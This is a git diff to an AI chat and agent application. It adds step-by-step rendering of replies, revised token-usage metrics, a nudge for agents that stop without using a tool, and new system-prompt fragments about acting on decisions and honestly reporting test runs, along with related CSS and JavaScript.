+        trailing step is implicit in both the live path and the stored one, and
+        one rule is one thing to get right.
+        """
+        self.steps.append(
+            {
+                "round": self.rounds,
+                "thinking_to": len(self.thinking),
+                "text_to": len(self.text),
+                "tools_to": len(self.tool_events),
+            }
+        )
+
     @property
     def text(self) -> str:
         return "".join(self.content)
@@ -511,6 +558,7 @@ async def _run(generation: Generation) -> None:
             async for chunk in stream_chat(endpoint, payload):
                 counts = chunk_usage(chunk)
                 if counts is not None:
+                    generation.reported_usage = True
                     generation.prompt_tokens += counts.get("prompt_tokens", 0)
                     generation.completion_tokens += counts.get("completion_tokens", 0)
                     # Overwritten, not summed: this round's prompt already
@@ -568,6 +616,15 @@ async def _run(generation: Generation) -> None:
                     generation.content.append(piece)
                     round_text.append(piece)
 
+            # Here, and not where the usage chunk was read. The usage block
+            # arrives while the splitter is still holding this round's last few
+            # characters back, so stamping it there left those characters looking
+            # uncounted and the stored figure came out a token or two above what
+            # the endpoint actually said. A round's usage covers a round's
+            # output, so the mark belongs at the round's end.
+            # See metrics._since_counted.
+            _mark_counted(generation)
+
             calls = accumulator.calls
             if generation.stopped or not calls:
                 # The model says it is done. Believe it -- unless this is an
@@ -704,6 +761,10 @@ async def _run(generation: Generation) -> None:
                     # ticked off.
                     if outcome.event.get("plan_final"):
                         generation.plan_final = True
+            # This round is over: its thinking, its prose and its tool calls are
+            # all in. Anything appended from here belongs to the next step, and
+            # that is what makes the bubble a sequence rather than three zones.
+            generation.close_step()
             generation.touch()
 
             # Something typed while this reply was working. Taken in here, at a
@@ -735,6 +796,7 @@ async def _run(generation: Generation) -> None:
 
         for kind, piece in splitter.flush():
             (generation.reasoning if kind == REASONING else generation.content).append(piece)
+        _mark_counted(generation)
         generation.touch()
 
     except LLMError as exc:
@@ -752,21 +814,19 @@ async def _run(generation: Generation) -> None:
             generation.reasoning_ms = int((time.monotonic() - reasoning_started) * 1000)
 
         generation.elapsed_ms = int((time.monotonic() - started) * 1000)
-        if not generation.completion_tokens:
-            # The endpoint reported nothing, so fall back to the estimate. Marked
-            # as such everywhere it is shown -- four characters to a token is
-            # wrong enough on code and CJK to be worth saying out loud.
-            generation.completion_tokens = tokens.estimate(
-                generation.text + generation.thinking
-            )
-            # Mirroring the reported figures exactly: the prompt is summed
-            # across rounds because it was paid for each time, while what the
-            # reply *occupies* is the last round's prompt plus what was written.
-            # Both used to come from one estimate taken before the first round.
-            generation.prompt_tokens = (
-                generation.prompt_estimate_total or generation.prompt_estimate
-            )
-            generation.context_tokens = generation.prompt_estimate + generation.completion_tokens
+        # There used to be a fallback here filling `completion_tokens`,
+        # `prompt_tokens` and `context_tokens` from the estimates when the
+        # endpoint had reported nothing. It is gone, and nothing is lost:
+        # `metrics.from_generation` now takes `max(reported, estimated)` for
+        # every one of the three, so the same figures come out and the row is
+        # written through the same code the live chips are rendered from.
+        #
+        # Two copies of one rule was the actual fault, not an accident of
+        # placement. They disagreed -- the fallback used `prompt_estimate_total`
+        # where the live path used `prompt_estimate` -- so the numbers jumped at
+        # the `done` frame; and writing into these fields made "did the endpoint
+        # count this?" unanswerable afterwards, which is what `reported_usage`
+        # now records instead.
 
         # Naming the chat is a second, short completion, so it has to happen
         # here rather than in the synchronous persist step below. Best-effort:
@@ -959,6 +1019,11 @@ def _gave_up(generation, why: str) -> None:
             "error": f"Stopped {why}. Ask again to carry on from here.",
         }
     )
+    # Its own step. This event is appended outside the round loop, so without a
+    # mark it would fall into the open tail -- where the live view has no tools
+    # slot -- and the one line saying why the reply stopped would be the one
+    # line nobody saw.
+    generation.close_step()
     generation.touch()
 
 
@@ -1009,6 +1074,9 @@ def _wrap_up(generation, why: str, payload: dict, *, name: str = "budget") -> tu
             ),
         }
     )
+    # Same reason as `_gave_up`: appended outside the round loop, so it needs a
+    # mark of its own or it lands in the step still being written.
+    generation.close_step()
     generation.touch()
     return [], {key: value for key, value in payload.items() if key != "tools"}
 
@@ -1026,10 +1094,24 @@ def _nudge(
 
     A model that stops with work outstanding is the failure `core.keep_working`
     is worded against, and prompting is the cheaper half of the fix. This is the
-    other half, and it only fires where there is something objective to check
-    against: an open task on the chat's own plan. Without a plan there is
-    nothing to be wrong about, so nothing happens -- a model that has genuinely
-    finished must be able to say so and be believed.
+    other half, and it fires only where there is something objective to check
+    against. There are two such things, and they are checked in that order:
+
+    1. **An open task on the chat's own plan.** The strongest signal there is --
+       the model wrote the list itself and has not crossed the item off.
+    2. **A long reply that touched nothing.** No plan, no tool call anywhere in
+       the reply, and more prose than a short answer. That is the shape of a
+       model deliberating itself to a standstill: announcing the call,
+       reconsidering, announcing it again, and ending the turn having done
+       nothing -- because a round with no tool calls is a model saying it is
+       finished, and it is taken at its word. `core.commit` is the prompt half.
+
+    The second is deliberately narrow. `generation.tool_events` being empty is
+    what keeps it away from the common case: a reply that did some work and then
+    said it was done has made a claim about work anybody can see, and arguing
+    with that is how a model gets nagged for finishing. And `NUDGE_MIN_CHARS`
+    keeps it away from the other one -- somebody asking a question in an agent
+    chat and getting a two-line answer is not a stalled agent.
 
     Every "no" is a plain None:
 
@@ -1037,7 +1119,7 @@ def _nudge(
     * this is not an agent chat, or is one in Plan mode -- `plan_submit` ends
       the turn deliberately and nudging past it would be arguing with the whole
       point of the mode;
-    * there is no plan, or every task on it is done or dropped;
+    * neither signal is present;
     * there is no round left to carry on in, or it has already been asked
       MAX_NUDGES times in a row.
 
@@ -1049,6 +1131,8 @@ def _nudge(
         return None
     if agent.mode == agent_policy.MODE_PLAN or generation.plan_final:
         return None
+    if round_number >= budget:
+        return None
 
     plan = generation.plan if generation.plan is not None else agent.plan
     open_tasks = [
@@ -1057,12 +1141,23 @@ def _nudge(
         for task in phase.get("tasks", [])
         if task.get("status") not in ("done", "dropped")
     ]
-    if not open_tasks:
-        return None
-    if round_number >= budget:
+    stalled = (
+        not open_tasks
+        and not generation.tool_events
+        and len(generation.text) >= NUDGE_MIN_CHARS
+    )
+    if not open_tasks and not stalled:
         return None
 
-    if generation.nudges >= MAX_NUDGES:
+    # Asked twice about an open plan task, once about having touched nothing.
+    # The plan is a list the model wrote and has not crossed off, which is still
+    # true after being asked; "you have not used a tool" is answered by the very
+    # next reply, and that reply is invited to say in one line that the work is
+    # finished. Asking again would be refusing the answer we asked for. Note the
+    # text is cumulative across rounds, so without this the signal stays true
+    # for the rest of the reply however the model responds.
+    ceiling = MAX_NUDGES if open_tasks else 1
+    if generation.nudges >= ceiling:
         generation.tool_events.append(
             {
                 "name": "plan_update",
@@ -1071,7 +1166,9 @@ def _nudge(
                 "error": (
                     f"Stopped with {len(open_tasks)} task(s) still open on the "
                     f"plan, after being asked twice to carry on."
-                ),
+                )
+                if open_tasks
+                else "Ended without using any tool, after being asked to carry on.",
                 "results": [],
             }
         )
@@ -1079,11 +1176,22 @@ def _nudge(
         return None
 
     generation.nudges += 1
-    remaining = "\n".join(f"- {task['id']} {task['text']}" for task in open_tasks[:8])
     # A user turn, and phrased as the reader would phrase it. Everything else
     # this codebase injects is quoted and attributed because it came out of a
     # file or a machine; this is the application speaking on the reader's behalf
     # about the reader's own plan, which is the one case where that is honest.
+    if not open_tasks:
+        return {
+            "role": "user",
+            "content": (
+                "That reply did not use any tool, so nothing has actually been done "
+                "yet. If you were about to run or read something, do it now. If the "
+                "work really is finished, or you need something from me before you "
+                "can go on, say which in one line."
+            ),
+        }
+
+    remaining = "\n".join(f"- {task['id']} {task['text']}" for task in open_tasks[:8])
     return {
         "role": "user",
         "content": (
@@ -1110,6 +1218,18 @@ def _too_big(generation: Generation) -> bool:
     return generation.prompt_estimate > generation.context_limit * CONTEXT_HEADROOM
 
 
+def _mark_counted(generation: Generation) -> None:
+    """Record that everything written so far is covered by a reported count.
+
+    A no-op until some usage block has arrived, because until then there is
+    nothing to interpolate from and `metrics.from_generation` falls back to
+    estimating the lot. After that it is what makes a reported figure be shown
+    verbatim rather than with an estimate added on top of it.
+    """
+    if generation.reported_usage:
+        generation.counted_chars = len(generation.text) + len(generation.thinking)
+
+
 def _written(generation: Generation) -> int:
     """How much this reply has written so far, in tokens, reported or estimated.
 
@@ -1693,6 +1813,11 @@ def _persist(generation: Generation, title: str, elapsed: float) -> None:
             message.reasoning = generation.thinking
             message.reasoning_ms = generation.reasoning_ms
             message.tool_calls_json = generation.tool_events
+            # Written together with the three stores it indexes, by the one
+            # writer, so a row can never carry marks that describe a different
+            # reply's text. Regeneration reuses the `Message` row and overwrites
+            # all four for the same reason.
+            message.steps_json = generation.steps
             message.plan_json = generation.plan or {}
             if generation.canvas.get("tabs"):
                 # A union with whatever the row says *now*, not an overwrite:
diff --git a/src/lembas/services/harness.py b/src/lembas/services/harness.py
index 953f090..8021b79 100644
--- a/src/lembas/services/harness.py
+++ b/src/lembas/services/harness.py
@@ -70,7 +70,14 @@ log = logging.getLogger(__name__)
 # crosses, and crossing it is silent: `assemble` cuts the tail, and the tail is
 # the project's own AGENTS.md. `tests/test_harness.py` pins a margin now as well
 # as a fit, so the room is a fact rather than a hope.
-MAX_HARNESS_CHARS = 20000
+#
+# 24,000 now, because that margin did its job: adding `core.commit` and
+# `tool.agent_edits` took the headroom under 20% and the test said so rather
+# than the AGENTS.md quietly losing its last paragraph on somebody's install.
+# Raising the ceiling costs nothing by itself -- it is a limit, not a size, and
+# the assembled block is the same length either way. What it buys is that the
+# margin keeps meaning what it says.
+MAX_HARNESS_CHARS = 24000
 
 # How much of the ceiling the shipped fragments may occupy at full budget. The
 # rest is headroom for an administrator's own wording, which is the thing this
diff --git a/src/lembas/services/markdown.py b/src/lembas/services/markdown.py
index 0afa338..30e2e9b 100644
--- a/src/lembas/services/markdown.py
+++ b/src/lembas/services/markdown.py
@@ -157,6 +157,43 @@ def render_markdown(text: str) -> str:
     )
 
 
+# A fence opener: three or more backticks or tildes at the start of a line,
+# optionally indented, with whatever info string follows. Deliberately shallow --
+# it does not know about lists, block quotes or indented code, and it does not
+# have to. See `open_fence`.
+_FENCE = re.compile(r"^ {0,3}(`{3,}|~{3,})[ \t]*(.*)$")
+
+
+def open_fence(text: str) -> tuple[str, str]:
+    """The marker and info string of a fence left open, or ``("", "")``.
+
+    A reply is rendered in pieces now -- one per step, split where the model
+    stopped to call a tool -- and a fence opened in one piece and never closed
+    would run to the end of that piece and then leave every later fence in the
+    reply paired up wrongly. `services/steps.py` uses this to close such a fence
+    at the end of its own segment and reopen it at the start of the next.
+
+    Deliberately not a second Markdown parser. It has to be right about one
+    thing: a model that opened a fence and then called a tool. Where it is
+    unsure it says "no fence", which renders exactly as the whole-text version
+    always did.
+    """
+    marker = ""
+    info = ""
+    for line in text.splitlines():
+        found = _FENCE.match(line)
+        if found is None:
+            continue
+        fence, rest = found.group(1), found.group(2).strip()
+        if not marker:
+            marker, info = fence, rest
+        elif fence[0] == marker[0] and len(fence) >= len(marker) and not rest:
+            # A closer is the same character, at least as long, and carries no
+            # info string. Anything else inside an open fence is just text.
+            marker, info = "", ""
+    return marker, info
+
+
 # A mention is `@` followed by a run of non-space, claimed only at the start of
 # the text or after whitespace. That last part is the whole rule: without it
 # every email address in a message becomes a highlighted file reference, which
diff --git a/src/lembas/services/metrics.py b/src/lembas/services/metrics.py
index b371f12..f829435 100644
--- a/src/lembas/services/metrics.py
+++ b/src/lembas/services/metrics.py
@@ -75,17 +75,39 @@ class Metrics:
 def from_generation(generation: Any) -> Metrics:
     """Metrics for a reply still being written.
 
-    Usage arrives in a single chunk at the very end, so mid-stream there is
-    nothing to report and everything is estimated. The counts stop being
-    estimates the moment that chunk lands, which is usually a beat before the
-    bubble is replaced.
+    A reported count is never second-guessed. Where the endpoint has said a
+    number, that number is what is shown; our own estimate is four characters to
+    a token and is wrong enough on code and CJK that overriding an exact figure
+    with it would be a downgrade dressed as a fix.
+
+    What the estimate is for is the gap *between* reported counts. Usage arrives
+    once per round, so on a forty-round agent reply the counts used to stand
+    still for minutes at a time while text streamed underneath them -- reported
+    was non-zero from round one onwards, so the `or` below never reached its
+    fallback again. `_since_counted` closes that gap: it is what has been written
+    since the last usage chunk, and it is zero at the moment one lands. So the
+    figures climb while a round runs and land exactly on the reported total when
+    it ends, which is the same property in both directions.
+
+    The prompt is deliberately not treated that way. It does not grow within a
+    round -- it is the request that was sent -- so there is nothing to interpolate
+    and nothing that would freeze.
     """
     import time
 
-    completion = generation.completion_tokens or tokens.estimate(
+    # Zero the instant a usage chunk lands, so a reported figure is passed
+    # through untouched and only the interval between them is filled in.
+    extra = _since_counted(generation)
+
+    completion = (generation.completion_tokens + extra) or tokens.estimate(
         generation.text + generation.thinking
     )
-    prompt = generation.prompt_tokens or generation.prompt_estimate
+    # `prompt_estimate_total`, not `prompt_estimate`. The two answer different
+    # questions -- every round's prompt against the latest round's -- and this
+    # chip is what the reply cost, which is the sum. Reading the latest one here
+    # while the end-of-reply path stored the total made the number visibly jump
+    # at the `done` frame on any reply that called a tool.
+    prompt = generation.prompt_tokens or generation.prompt_estimate_total
     elapsed = generation.elapsed_ms or (
         int((time.monotonic() - generation.started_at) * 1000) if generation.started_at else 0
     )
@@ -94,14 +116,34 @@ def from_generation(generation: Any) -> Metrics:
         prompt_tokens=prompt,
         completion_tokens=completion,
         total_tokens=prompt + completion,
-        context_tokens=generation.context_tokens or (prompt + completion),
+        context_tokens=(generation.context_tokens + extra)
+        or (generation.prompt_estimate + completion),
         context_limit=generation.context_limit,
-        estimated=not (generation.prompt_tokens and generation.completion_tokens),
+        # One recorded fact rather than an inference from two counts. Inferring
+        # it read `False` once the end-of-reply fallback had filled both fields
+        # in, so a reply estimated from beginning to end showed `~` throughout
+        # and then dropped it at the moment it was stored -- the tilde vanishing
+        # exactly where it was most needed.
+        estimated=not generation.reported_usage,
         elapsed_ms=elapsed,
         rounds=max(1, generation.rounds),
     )
 
 
+def _since_counted(generation: Any) -> int:
+    """Tokens written since the last usage chunk, estimated.
+
+    Zero before any usage has been reported -- the `or` fallbacks in
+    `from_generation` cover that case whole -- and zero again the moment each
+    chunk lands, because `counted_chars` is stamped there. In between it is the
+    only thing that moves.
+    """
+    if not generation.reported_usage:
+        return 0
+    written = len(generation.text) + len(generation.thinking)
+    return tokens.estimate_chars(max(0, written - generation.counted_chars))
+
+
 def from_message(usage_json: dict[str, Any] | None) -> Metrics:
     """Metrics for a finished reply, read back off the row."""
     stored = usage_json or {}
diff --git a/src/lembas/services/prompts.py b/src/lembas/services/prompts.py
index fba9eaa..faf2447 100644
--- a/src/lembas/services/prompts.py
+++ b/src/lembas/services/prompts.py
@@ -718,7 +718,11 @@ BUILTIN: tuple[Fragment, ...] = (
             "removed assertion or a skipped test buys a green run and keeps the bug.\n"
             "  - Say what you did and what you checked, including what you could not "
             "check. If something is still broken, say so — being told a job is "
-            "finished when it is not is worse than being told it is hard."
+            "finished when it is not is worse than being told it is hard.\n"
+            "  - Done means run. Before you say the work is finished, run the thing "
+            "one more time — the tests, the build, the script — and say what came back. "
+            "Reading your own change and finding it correct is not the same evidence, "
+            "and if you could not run it, say that instead of implying you did."
         ),
     ),
     Fragment(
@@ -769,6 +773,28 @@ BUILTIN: tuple[Fragment, ...] = (
             "reply ends."
         ),
     ),
+    Fragment(
+        key="core.commit",
+        label="Deciding and then doing",
+        group=GROUP_CORE,
+        order=114,
+        families=("agent",),
+        hint="An agent chat only, and the counterweight to the fragment above "
+        "it. `core.narrate` tells a model to work out loud and nothing told it "
+        "to stop, which a smaller model reads as licence to deliberate "
+        "indefinitely: it announces the call, reconsiders, announces it again, "
+        "and the reply ends having done nothing, because a round that produces "
+        "no tool call is a model saying it has finished. Narration is worth "
+        "having and this is what bounds it.",
+        default=(
+            "When you have decided what to do, do it in the same turn — make the call. "
+            "Do not restate the decision, re-check what you have already checked, or "
+            "write another line about what you are about to do. If you have written the "
+            "same intention twice, that is the signal that you should already have "
+            "acted. Thinking on the page is fine; finishing a reply having only thought "
+            "is not, because a turn that calls nothing is a turn that says you are done."
+        ),
+    ),
     Fragment(
         key="core.interjection",
         label="Being interrupted",
@@ -1101,16 +1127,47 @@ BUILTIN: tuple[Fragment, ...] = (
         "a new turn -- and that that turn is a machine event, not the person, "
         "the same distinction core.interjection draws for a typed message.",
         default=(
-            "- A command that would take a while — an install, a build, a download — "
-            "can run in the background: pass `background: true`, or just let it run and "
-            "it is kept going rather than killed when it reaches its timeout. It keeps "
-            "running after this reply. Read it with job_output, stop it with job_stop.\n"
+            "- A command that would take a while — an install, a build, a download, a "
+            "long test run — can run in the background: pass `background: true`, or "
+            "just let it run and it is kept going rather than killed when it reaches "
+            "its timeout. It keeps running after this reply. Read it with job_output, "
+            "list what is running with job_list, stop one with job_stop.\n"
+            "- Check a job with job_output rather than running the command again. A "
+            "second copy of a build or an install competing with the first is how both "
+            "fail, and the output you want is already being collected. Get on with "
+            "something else in the meantime — that is what backgrounding it was for.\n"
             "- When a background job finishes you are told in a new turn that begins "
             "\"A background job you started has finished\". That is a machine event "
             "reporting a result, not the person you are talking to — read it as you "
             "would the output of any command, and carry on from it."
         ),
     ),
+    Fragment(
+        key="tool.agent_edits",
+        label="Changing a file",
+        group=GROUP_TOOLS,
+        order=252,
+        families=("agent",),
+        hint="An agent chat only. All of this is in the `file_edit` "
+        "description, which is schema and cannot be edited -- and it is still "
+        "the tool models get wrong most often. The description is read once "
+        "alongside twelve others; this is guidance, and it says the two things "
+        "the description cannot: what to do when a patch is refused, and that "
+        "rewriting the file instead is the worse answer rather than the "
+        "fallback.",
+        default=(
+            "- Changing part of a file: read it with file_read first — file_edit "
+            "refuses otherwise, and the refusal is about this same reply — then send a "
+            "patch with about three unchanged lines either side of each change. The "
+            "line numbers in a hunk header may be approximate; the context lines may "
+            "not, and they are what the change is found by.\n"
+            "- If a patch is refused you are shown the file as it actually is around "
+            "where the hunk expected to land. Write the next patch from that, not from "
+            "memory. Sending the same patch again will fail the same way, and falling "
+            "back to file_write is worse than either: it replaces the whole file, so "
+            "everything you did not happen to recall is gone."
+        ),
+    ),
     Fragment(
         key="tool.project_files",
         label="What is in the project directory",
diff --git a/src/lembas/services/steps.py b/src/lembas/services/steps.py
new file mode 100644
index 0000000..26a43b1
--- /dev/null
+++ b/src/lembas/services/steps.py
@@ -0,0 +1,205 @@
+"""A reply as the sequence of steps it actually was.
+
+The three stores a reply writes into -- text, reasoning and tool events -- are
+each append-only and each correct. What none of them records is *interleaving*:
+where round three's thinking sat relative to round three's command and to the
+sentence that came after it. So a bubble was rendered as three zones, all the
+thinking, then all the tools, then all the prose, which reads fine on a two-round
+answer and is unusable on a forty-round one.
+
+The fix is a table of contents rather than a fourth copy of anything. A **mark**
+is written when a round's contribution ends, holding the cumulative length of
+each store at that moment; the text between two marks is one step's prose, and so
+on. Nothing is duplicated, so `build_messages`, compaction, titling and the copy
+button all still see `message.content` as the single string it always was.
+
+**No marks means the old layout.** Every reply written before this existed reads
+back an empty list, and `_build` answers that with thinking, then tools, then
+text -- exactly what those bubbles have always shown. There is no version flag
+and no branch in the template.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass, field
+from typing import Any
+
+from lembas.services.markdown import open_fence, render_markdown
+
+KIND_THINKING = "thinking"
+KIND_TEXT = "text"
+KIND_TOOLS = "tools"
+
+
+@dataclass(frozen=True)
+class Step:
+    """One thing that happened, in the order it happened.
+
+    `index` is the position of the mark this came from, and the trailing step --
+    the one still being written -- takes the index one past the last mark. It is
+    what every DOM id in the transcript is derived from, which is what lets an
+    open block survive both a stream frame and the `done` frame that replaces the
+    whole bubble: the marks are append-only, so index N always means the same
+    step, live and afterwards alike.
+    """
+
+    index: int
+    kind: str
+    open: bool = False
+    text: str = ""
+    html: str = ""
+    events: tuple[dict, ...] = field(default_factory=tuple)
+
+
+def for_message(message: Any) -> list[Step]:
+    """Every step of a finished reply, read off the row.
+
+    A Jinja global (see `web/templating.py`) for the reason `tool_label` is: the
+    bubble is rendered from four different handlers, and a fifth thing each of
+    them had to remember to pass is a fifth thing one of them would forget.
+    """
+    return _build(
+        text=message.content or "",
+        thinking=(message.reasoning or "") if not message.error else "",
+        events=list(message.tool_calls_json or []),
+        marks=list(getattr(message, "steps_json", None) or []),
+    )
+
+
+def closed_from(generation: Any, since: int) -> list[Step]:
+    """The finished steps of a running reply, from mark `since` onwards.
+
+    Only the new ones, because `_follow` keeps what it has already rendered. A
+    closed step never changes again -- that is what closing one means -- so the
+    whole prefix does not have to be re-rendered twelve times a second, which is
+    what the tool block used to cost on a long reply.
+    """
+    return _build(
+        text=generation.text,
+        thinking=generation.thinking,
+        events=list(generation.tool_events),
+        marks=list(generation.steps),
+        since=since,
+        include_open=False,
+    )
+
+
+def tail(generation: Any) -> tuple[str, str]:
+    """What is being written right now: `(thinking, text)` past the last mark.
+
+    The text carries a fence reopener where one is needed, so a code block
+    started before the last tool call goes on rendering as a code block instead
+    of the prose underneath it briefly becoming one.
+    """
+    marks = list(generation.steps)
+    last = marks[-1] if marks else {}
+    thinking = generation.thinking[_at(last, "thinking_to") :]
+    text = generation.text[_at(last, "text_to") :]
+    carry = _carry_before(generation.text, marks)
+    return thinking, (f"{carry}\n{text}" if carry and text else text)
+
+
+def _at(mark: dict, key: str) -> int:
+    value = mark.get(key, 0)
+    return value if isinstance(value, int) and value > 0 else 0
+
+
+def _build(
+    *,
+    text: str,
+    thinking: str,
+    events: list[dict],
+    marks: list[dict],
+    since: int = 0,
+    include_open: bool = True,
+) -> list[Step]:
+    """The shared walk.
+
+    Every offset is clamped and nothing here raises. A `steps_json` that
+    disagrees with the three stores -- a row half-written when the process died,
+    a hand-edited one -- has to degrade to a slightly odd order, never to a
+    transcript that will not render at all.
+    """
+    steps: list[Step] = []
+
+    if not marks:
+        # The compatibility layout, and the layout of any reply that called
+        # nothing: for that one the two orders are the same list, because there
+        # are no tool blocks to sit between the prose.
+        if thinking:
+            steps.append(Step(index=0, kind=KIND_THINKING, text=thinking))
+        if events:
+            steps.append(Step(index=0, kind=KIND_TOOLS, events=tuple(events)))
+        if text:
+            steps.append(
+                Step(index=0, kind=KIND_TEXT, open=include_open, html=render_markdown(text))
+            )
+        return steps
+
+    thought_from = 0
+    text_from = 0
+    tools_from = 0
+    carry = ""
+
+    for index, mark in enumerate(marks):
+        thought_to = min(max(_at(mark, "thinking_to"), thought_from), len(thinking))
+        text_to = min(max(_at(mark, "text_to"), text_from), len(text))
+        tools_to = min(max(_at(mark, "tools_to"), tools_from), len(events))
+
+        thought = thinking[thought_from:thought_to]
+        said = text[text_from:text_to]
+        ran = events[tools_from:tools_to]
+
+        # Computed for every step even when this one is not being returned:
+        # `closed_from` renders a suffix, and whether a fence is open depends on
+        # everything before it.
+        source = f"{carry}\n{said}" if carry and said else said
+        marker, info = open_fence(source)
+        if marker:
+            source = f"{source}\n{marker}"
+
+        if index >= since:
+            # Thinking, then prose, then tools -- the order a model emits them.
+            if thought:
+                steps.append(Step(index=index, kind=KIND_THINKING, text=thought))
+            if said:
+                steps.append(Step(index=index, kind=KIND_TEXT, html=render_markdown(source)))
+            if ran:
+                steps.append(Step(index=index, kind=KIND_TOOLS, events=tuple(ran)))
+
+        carry = f"{marker}{info}" if marker else ""
+        thought_from, text_from, tools_from = thought_to, text_to, tools_to
+
+    if not include_open:
+        return steps
+
+    # Everything past the last mark. Implicit rather than written, in both the
+    # live path and the stored one -- one rule instead of two that could drift.
+    index = len(marks)
+    if trailing_thought := thinking[thought_from:]:
+        steps.append(Step(index=index, kind=KIND_THINKING, text=trailing_thought))
+    if trailing_text := text[text_from:]:
+        source = f"{carry}\n{trailing_text}" if carry else trailing_text
+        steps.append(Step(index=index, kind=KIND_TEXT, open=True, html=render_markdown(source)))
+    if trailing_events := events[tools_from:]:
+        steps.append(Step(index=index, kind=KIND_TOOLS, events=tuple(trailing_events)))
+
+    return steps
+
+
+def _carry_before(text: str, marks: list[dict]) -> str:
+    """The fence still open when the last mark was written, if any."""
+    if not marks:
+        return ""
+    carry = ""
+    start = 0
+    for mark in marks:
+        end = min(max(_at(mark, "text_to"), start), len(text))
+        source = f"{carry}\n{text[start:end]}" if carry else text[start:end]
+        marker, info = open_fence(source)
+        carry = f"{marker}{info}" if marker else ""
+        start = end
+    return carry
+
+
+__all__ = ["KIND_TEXT", "KIND_THINKING", "KIND_TOOLS", "Step", "closed_from", "for_message", "tail"]
diff --git a/src/lembas/services/tokens.py b/src/lembas/services/tokens.py
index 6e60342..4707e8c 100644
--- a/src/lembas/services/tokens.py
+++ b/src/lembas/services/tokens.py
@@ -28,6 +28,18 @@ def estimate(text: str) -> int:
     return max(1, round(len(text) / CHARS_PER_TOKEN))
 
 
+def estimate_chars(count: int) -> int:
+    """The same conversion, for a length somebody has already measured.
+
+    `estimate` floors at one token for any non-empty string, which is right for
+    a piece of text and wrong for a difference between two lengths: a reply that
+    had grown by nothing would report a token. Zero means zero here.
+    """
+    if count <= 0:
+        return 0
+    return round(count / CHARS_PER_TOKEN)
+
+
 def estimate_content(content: Any) -> int:
     """A message's content, whether it is a plain string or typed parts.
 
diff --git a/src/lembas/web/static/css/chat.css b/src/lembas/web/static/css/chat.css
index 3e1d6e1..f0972f2 100644
--- a/src/lembas/web/static/css/chat.css
+++ b/src/lembas/web/static/css/chat.css
@@ -952,6 +952,90 @@
 .composer__context select[name="agent_mode"] { flex: none; }
 .composer__dir-path { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
 
+/* --- Background jobs -------------------------------------------------------
+   A chip in the composer row saying how many commands are still running out
+   there, and a panel behind it. `flex: none` for the reason the mode select is:
+   this is a control being read, and the row's one shrinkable child is
+   `.composer__context` itself. */
+.composer__jobs { flex: none; display: flex; align-items: center; }
+.composer__chip--jobs {
+  gap: var(--sp-1);
+  color: var(--accent);
+  font-variant-numeric: tabular-nums;
+}
+/* Something is still happening on a machine nobody is looking at, which is the
+   whole reason this exists. Slow, because it sits beside the composer for as
+   long as a build takes and a fast pulse there is a nuisance rather than a
+   signal.
+
+   No reduced-motion guard here, and not from carelessness: this file is pinned
+   to contain no media queries at all -- the test matches the string, comments
+   included -- and `dot-pulse` and `caret` above set the same precedent.
+   Honouring that preference belongs in one rule covering every animation, in
+   app.css, rather than in a third copy of the exception. */
+.composer__chip--jobs .icon { animation: jobs-pulse 2.4s ease-in-out infinite; }
+@keyframes jobs-pulse { 50% { opacity: 0.35; } }
+
+.picker__menu--jobs { width: min(34rem, 92vw); }
+
+.jobs__row { padding: var(--sp-2) 0; border-bottom: 1px solid var(--border); }
+.jobs__row:last-child { border-bottom: 0; }
+.jobs__head { display: flex; align-items: center; gap: var(--sp-2); }
+
+.jobs__dot {
+  flex: none;
+  width: 0.5rem;
+  height: 0.5rem;
+  border-radius: var(--radius-full);
+  background: var(--ink-muted);
+}
+.jobs__dot--running { background: var(--accent); }
+.jobs__dot--killed { background: var(--warning); }
+.jobs__dot--lost { background: var(--danger); }
+
+/* The command is the button: the row is wide, the affordance should be too.
+   `min-width: 0` or the flex item will not shrink below its content and the
+   Stop button is what falls off -- the same rule as the composer row itself. */
+.jobs__command {
+  flex: 1 1 auto;
+  min-width: 0;
+  text-align: left;
+  background: none;
+  border: 0;
+  padding: 0;
+  color: inherit;
+  cursor: pointer;
+  font: inherit;
+}
+.jobs__command code {
+  display: block;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+  font-size: var(--text-xs);
+}
+.jobs__stop { flex: none; }
+
+.jobs__meta {
+  margin: var(--sp-1) 0 0;
+  font-size: var(--text-xs);
+  color: var(--ink-muted);
+}
+.jobs__error { margin: var(--sp-2) 0 0; font-size: var(--text-xs); color: var(--danger); }
+
+.jobs__log {
+  margin: var(--sp-2) 0 0;
+  max-height: 16rem;
+  overflow: auto;
+  padding: var(--sp-2);
+  border-radius: var(--radius-sm);
+  background: var(--bg-sunken);
+  font-family: var(--font-mono);
+  font-size: var(--text-xs);
+  white-space: pre-wrap;
+  word-break: break-word;
+}
+
 .composer__hint {
   margin: var(--sp-2) 0 0;
   font-size: var(--text-xs);
diff --git a/src/lembas/web/static/js/app.js b/src/lembas/web/static/js/app.js
index 55da89b..a600627 100644
--- a/src/lembas/web/static/js/app.js
+++ b/src/lembas/web/static/js/app.js
@@ -109,14 +109,55 @@
     return el.scrollHeight - el.scrollTop - el.clientHeight < STICK_THRESHOLD;
   }
 
+  /* Whether the view is following the reply. Distance to the bottom used to be
+     the whole test, and it very nearly is -- but somebody near the bottom who
+     opens a tool block is *reading*, and the next frame eighty milliseconds
+     later dragged them straight back down again. At twelve frames a second that
+     reads as a block that will not open at all.
+
+     So opening one turns following off, and returning to the bottom turns it
+     back on. `stick` is the gate; `isNearBottom` is what maintains it. */
+  var stick = true;
+  /* Where scrollThread last put it, so a scroll event can be told apart from a
+     scroll the reader did. Without this the programmatic scroll re-arms `stick`
+     on its own and nothing ever unsticks. */
+  var placed = -1;
+
   function scrollThread(force) {
     var thread = document.getElementById("thread-scroll");
     if (!thread) return;
-    if (force || isNearBottom(thread)) {
+    if (force) stick = true;
+    if (stick) {
       thread.scrollTop = thread.scrollHeight;
+      placed = thread.scrollTop;
     }
   }
 
+  document.addEventListener(
+    "scroll",
+    function (event) {
+      var thread = event.target;
+      if (!thread || thread.id !== "thread-scroll") return;
+      if (thread.scrollTop === placed) return;
+      stick = isNearBottom(thread);
+    },
+    true
+  );
+
+  /* `toggle` does not bubble, so this has to be registered in the CAPTURE phase.
+     Without the third argument the listener is never called and the whole thing
+     is silently dead in every browser -- the same shape of failure as a trigger
+     bound where the event does not go. There is a test on it. */
+  document.addEventListener(
+    "toggle",
+    function (event) {
+      var el = event.target;
+      if (!el || el.tagName !== "DETAILS" || !el.open) return;
+      if (el.closest && el.closest("#thread-scroll")) stick = false;
+    },
+    true
+  );
+
   /* --- Attachments -------------------------------------------------------
